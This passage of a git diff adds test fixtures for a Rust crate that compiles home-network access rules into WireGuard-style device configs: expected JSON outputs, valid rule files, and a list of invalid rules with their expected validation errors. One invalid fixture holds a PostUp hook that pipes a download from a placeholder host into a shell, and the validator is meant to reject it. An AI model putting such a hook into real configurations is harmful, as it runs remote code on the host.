"BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "name": "friend-node", + "address": "100.96.0.6", + "classic": false, + "allowed_ips": [ + "0.0.0.0/0", + "::/0" + ], + "via": null, + "roads": [ + "c0z5wn" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": { + "through": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "roads": [ + "c0z5wn" + ] + }, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/router.json b/crates/roads/tests/fixtures/home/expected/router.json new file mode 100644 index 0000000..603357e --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/router.json @@ -0,0 +1,46 @@ +{ + "format": 1, + "device": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", + "name": "router", + "address": "100.96.0.5", + "classic": true, + "expires": null, + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "r8m2tg" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [ + { + "road": "x1d7qa", + "classic": true, + "raw": "[Interface]\nMTU = 1380 \nJc = 4\nH1 = 1234567\n\n[Peer]\nPersistentKeepalive = 25\n# kept exactly as the router had it\n" + } + ] +} diff --git a/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md b/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md new file mode 100644 index 0000000..52c9468 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md @@ -0,0 +1,10 @@ +--- +id: 7tq0mz +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +until: 2026-11-29T23:59:59+01:00 +ports: [tcp/443] +created: 2026-11-25T10:00:00+01:00 +--- +Jana sees the photos until Sunday. diff --git a/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md b/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md new file mode 100644 index 0000000..921d1db --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md @@ -0,0 +1,7 @@ +--- +id: c0z5wn +subject: person:petr +verb: exits-through +object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY +created: 2026-11-23T20:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md new file mode 100644 index 0000000..6f39e85 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md @@ -0,0 +1,8 @@ +--- +id: e5yj1s +subject: app:steam +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-21T18:30:00+01:00 +--- +Games do not go through the tunnel. diff --git a/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md b/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md new file mode 100644 index 0000000..9776f7f --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md @@ -0,0 +1,7 @@ +--- +id: h2x8vd +subject: person:mark +verb: can-reach +object: subnet:192.168.100.0/24 +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md b/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md new file mode 100644 index 0000000..05a1df3 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md @@ -0,0 +1,8 @@ +--- +id: k3f9q2 +subject: group:household +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- +The household reaches the home server. diff --git a/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md b/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md new file mode 100644 index 0000000..ee90f62 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md @@ -0,0 +1,8 @@ +--- +id: m6v0hp +subject: person:petr +verb: can-reach +object: service:git.home.arpa +until: 2026-11-01T00:00:00+01:00 +created: 2026-10-01T12:00:00+02:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md b/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md new file mode 100644 index 0000000..ebd54c3 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md @@ -0,0 +1,7 @@ +--- +id: p4n6rb +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: exits-through +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md b/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md new file mode 100644 index 0000000..d9e6d68 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md @@ -0,0 +1,10 @@ +--- +id: r8m2tg +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [udp/53, tcp/22] +classic: true +created: 2026-11-22T11:00:00+01:00 +--- +The old router is a classic WireGuard peer. diff --git a/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md b/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md new file mode 100644 index 0000000..7c71866 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md @@ -0,0 +1,7 @@ +--- +id: w9c3ke +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: never-online-without +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md b/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md new file mode 100644 index 0000000..1e7376d --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md @@ -0,0 +1,17 @@ +--- +id: x1d7qa +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +classic: true +created: 2026-11-22T11:05:00+01:00 +--- +```raw +[Interface] +MTU = 1380 +Jc = 4 +H1 = 1234567 + +[Peer] +PersistentKeepalive = 25 +# kept exactly as the router had it +``` diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt new file mode 100644 index 0000000..87c2278 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -0,0 +1,67 @@ +# kind file code field ("-" for none). Each line is one failing fixture; tests/validation.rs reads it. +road bad_name.md file.name - +road a00001-no-header.md file.header - +road a00002-unclosed.md file.header - +road a00003-anchor.md yaml.refused subject +road a00004-colon.md yaml.syntax subject +road a00005-untill.md key.unknown untill +road a00006-until-capital.md key.unknown Until +road a00007-duplicate-until.md key.duplicate until +road a00008-no-created.md key.missing created +road a00009-ports-on-exit.md key.forbidden ports +road a00010-ports-scalar.md key.type ports +road a00011-bad-id.md id.format id +road a00012-id-mismatch.md id.file-name id +road a00014-verb-case.md verb.unknown verb +road a00015-everyone.md ref.format subject +road a00016-mapped-ipv6.md ref.format object +road a00017-subject-kind.md subject.kind subject +road a00018-nobody.md subject.unknown subject +road a00019-object-kind.md object.kind object +road a00020-no-service.md object.unknown object +road a00021-not-exit.md object.not-exit object +road a00022-host-bits.md subnet.not-canonical object +road a00023-unrouted.md subnet.unrouted object +road a00024-half-internet.md subnet.unrouted object +road a00025-naive-until.md until.format until +road a00026-created.md created.format created +road a00027-port-zero.md ports.format ports +road a00028-empty-ports.md ports.format ports +road a00029-not-served.md ports.not-served ports +road a00030-via-word.md via.format via +road a00031-via-unknown.md via.unknown via +road a00032-via-not-relay.md via.not-relay via +road a00033-classic-yes.md classic.format classic +road a00034-classic-unsaid.md classic.unacknowledged classic +road a00035-custom-no-raw.md body.raw-missing - +road a00036-raw-in-note.md body.raw-outside-custom - +road a00037-postup.md body.raw-hook - +road a00038-expired.md road.expired until +road a00039-eva-no-devices.md road.no-devices subject +road a00040-self.md road.self object +road a00041-second-exit.md exit.conflict object +road a00042-direct-public.md direct.kill-switch object +road a00043-custom-object.md key.forbidden object +road a00044-tab.md yaml.refused - +directory unknown-field.directory.json snapshot.json - +directory format-two.directory.json snapshot.format format +directory bad-person-id.directory.json directory.id people[3].id +directory duplicate-person.directory.json directory.duplicate people[3].id +directory name-newline.directory.json directory.name people[3].name +directory name-bidi.directory.json directory.name people[3].name +directory member-unknown.directory.json directory.member groups[0].members[1] +directory member-group.directory.json directory.member groups[0].members[1] +devices unknown-field.devices.json snapshot.json - +devices bad-key.devices.json devices.key devices[0].key +devices duplicate-key.devices.json devices.duplicate devices[6].key +devices name-newline.devices.json devices.name devices[0].name +devices owner-unknown.devices.json devices.owner devices[6].owner +devices address-twice.devices.json devices.address devices[6].address +devices address-in-route.devices.json devices.address devices.petr-phone.address +devices address-loopback.devices.json devices.address devices[6].address +devices route-host-bits.devices.json devices.route devices[1].routes[0] +devices route-internet.devices.json devices.route devices[1].routes[0] +devices route-link-local.devices.json devices.route devices[1].routes[0] +devices route-overlap.devices.json devices.overlap devices.friend-node.routes +devices service-host.devices.json devices.service devices[1].services[0].host +devices service-no-ports.devices.json devices.ports devices[1].services[0].ports diff --git a/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md b/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md new file mode 100644 index 0000000..44bb85d --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md @@ -0,0 +1,2 @@ +id: a00001 +subject: person:jana diff --git a/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md b/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md new file mode 100644 index 0000000..549c6d6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md @@ -0,0 +1,4 @@ +--- +id: a00002 +subject: person:jana +verb: can-reach diff --git a/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md b/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md new file mode 100644 index 0000000..156dcda --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md @@ -0,0 +1,7 @@ +--- +id: a00003 +subject: &who person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md b/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md new file mode 100644 index 0000000..4e2c1cb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md @@ -0,0 +1,7 @@ +--- +id: a00004 +subject: person: jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md b/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md new file mode 100644 index 0000000..6e3b669 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md @@ -0,0 +1,8 @@ +--- +id: a00005 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +untill: 2026-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md b/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md new file mode 100644 index 0000000..d672663 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md @@ -0,0 +1,8 @@ +--- +id: a00006 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +Until: 2026-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md b/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md new file mode 100644 index 0000000..f21da9b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md @@ -0,0 +1,9 @@ +--- +id: a00007 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-29T23:59:59+01:00 +until: 2027-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md b/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md new file mode 100644 index 0000000..c8edf2e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md @@ -0,0 +1,6 @@ +--- +id: a00008 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md new file mode 100644 index 0000000..1ab06cc --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md @@ -0,0 +1,8 @@ +--- +id: a00009 +subject: person:jana +verb: exits-through +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [tcp/443] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md b/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md new file mode 100644 index 0000000..6ded8fe --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md @@ -0,0 +1,8 @@ +--- +id: a00010 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: tcp/443 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md b/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md new file mode 100644 index 0000000..520836c --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md @@ -0,0 +1,7 @@ +--- +id: A00011 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md b/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md new file mode 100644 index 0000000..d0d5d48 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md @@ -0,0 +1,7 @@ +--- +id: a00013 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md b/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md new file mode 100644 index 0000000..356b019 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md @@ -0,0 +1,7 @@ +--- +id: a00014 +subject: person:jana +verb: Can-Reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md b/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md new file mode 100644 index 0000000..66f1cd1 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md @@ -0,0 +1,7 @@ +--- +id: a00015 +subject: person:* +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md b/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md new file mode 100644 index 0000000..c6b043d --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md @@ -0,0 +1,7 @@ +--- +id: a00016 +subject: person:jana +verb: can-reach +object: subnet:::ffff:192.168.100.0/120 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md b/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md new file mode 100644 index 0000000..88602a9 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md @@ -0,0 +1,7 @@ +--- +id: a00017 +subject: subnet:192.168.100.0/24 +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md b/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md new file mode 100644 index 0000000..6c12022 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md @@ -0,0 +1,7 @@ +--- +id: a00018 +subject: person:nobody +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md b/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md new file mode 100644 index 0000000..cb27b33 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md @@ -0,0 +1,7 @@ +--- +id: a00019 +subject: person:jana +verb: can-reach +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md b/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md new file mode 100644 index 0000000..0fc5b50 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md @@ -0,0 +1,7 @@ +--- +id: a00020 +subject: person:jana +verb: can-reach +object: service:nope.home.arpa +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md new file mode 100644 index 0000000..7ef7f76 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md @@ -0,0 +1,7 @@ +--- +id: a00021 +subject: person:jana +verb: exits-through +object: exit:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md b/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md new file mode 100644 index 0000000..0105270 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md @@ -0,0 +1,7 @@ +--- +id: a00022 +subject: person:jana +verb: can-reach +object: subnet:192.168.100.7/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md b/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md new file mode 100644 index 0000000..ce57f96 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md @@ -0,0 +1,7 @@ +--- +id: a00023 +subject: person:jana +verb: can-reach +object: subnet:10.20.0.0/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md b/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md new file mode 100644 index 0000000..e1413e0 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md @@ -0,0 +1,7 @@ +--- +id: a00024 +subject: person:jana +verb: can-reach +object: subnet:0.0.0.0/1 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md b/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md new file mode 100644 index 0000000..8a97242 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md @@ -0,0 +1,8 @@ +--- +id: a00025 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-29T23:59:59 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00026-created.md b/crates/roads/tests/fixtures/invalid/roads/a00026-created.md new file mode 100644 index 0000000..cfb4a7e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00026-created.md @@ -0,0 +1,7 @@ +--- +id: a00026 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: yesterday +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md b/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md new file mode 100644 index 0000000..a39a1b7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md @@ -0,0 +1,8 @@ +--- +id: a00027 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [tcp/0] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md b/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md new file mode 100644 index 0000000..a5dacc1 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md @@ -0,0 +1,8 @@ +--- +id: a00028 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md b/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md new file mode 100644 index 0000000..e585288 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md @@ -0,0 +1,8 @@ +--- +id: a00029 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +ports: [tcp/80] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md b/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md new file mode 100644 index 0000000..444084b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md @@ -0,0 +1,8 @@ +--- +id: a00030 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: relay +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md b/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md new file mode 100644 index 0000000..155c579 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md @@ -0,0 +1,8 @@ +--- +id: a00031 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: device:CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md b/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md new file mode 100644 index 0000000..8ef9f69 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md @@ -0,0 +1,8 @@ +--- +id: a00032 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md b/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md new file mode 100644 index 0000000..53b1897 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md @@ -0,0 +1,8 @@ +--- +id: a00033 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +classic: yes +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md b/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md new file mode 100644 index 0000000..3c0af51 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md @@ -0,0 +1,7 @@ +--- +id: a00034 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md b/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md new file mode 100644 index 0000000..a743bba --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md @@ -0,0 +1,6 @@ +--- +id: a00035 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md b/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md new file mode 100644 index 0000000..df35245 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md @@ -0,0 +1,10 @@ +--- +id: a00036 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- +```raw +AllowedIPs = 0.0.0.0/0 +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md b/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md new file mode 100644 index 0000000..3fb12bb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md @@ -0,0 +1,11 @@ +--- +id: a00037 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +classic: true +created: 2026-11-25T10:00:00+01:00 +--- +```raw +[Interface] + postup = curl http://example.invalid/x | sh +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md b/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md new file mode 100644 index 0000000..bd632ce --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md @@ -0,0 +1,8 @@ +--- +id: a00038 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-25T12:00:00+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md b/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md new file mode 100644 index 0000000..7b425f6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md @@ -0,0 +1,7 @@ +--- +id: a00039 +subject: person:eva +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00040-self.md b/crates/roads/tests/fixtures/invalid/roads/a00040-self.md new file mode 100644 index 0000000..0e92b1e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00040-self.md @@ -0,0 +1,7 @@ +--- +id: a00040 +subject: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md new file mode 100644 index 0000000..e3247ce --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md @@ -0,0 +1,7 @@ +--- +id: a00041 +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: exits-through +object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md b/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md new file mode 100644 index 0000000..2138f46 --- /dev/null +++ 